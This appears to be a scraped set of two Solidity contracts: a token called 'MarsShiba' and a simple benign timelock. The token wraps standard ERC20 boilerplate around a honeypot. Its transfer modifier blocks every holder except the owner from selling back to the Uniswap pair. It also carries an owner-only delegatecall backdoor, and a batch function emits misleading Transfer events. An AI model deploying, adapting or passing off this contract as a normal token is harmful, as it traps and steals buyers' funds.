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pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract MarsShiba { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
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pragma solidity ^0.4.24; contract Timelock { address public owner; uint public releaseDate; constructor( uint _days, uint _seconds ) public payable { require( msg.value > 0, "There's no point in creating an empty Timelock!" ); owner = msg.sender; releaseDate = now + (_days * 1 days) + (_seconds * 1 seconds); } function withdraw() public { require( msg.sender == owner, "Only the owner can withdraw!" ); require( now > releaseDate, "Cannot withdraw prior to release date!" ); msg.sender.transfer( address(this).balance ); } }
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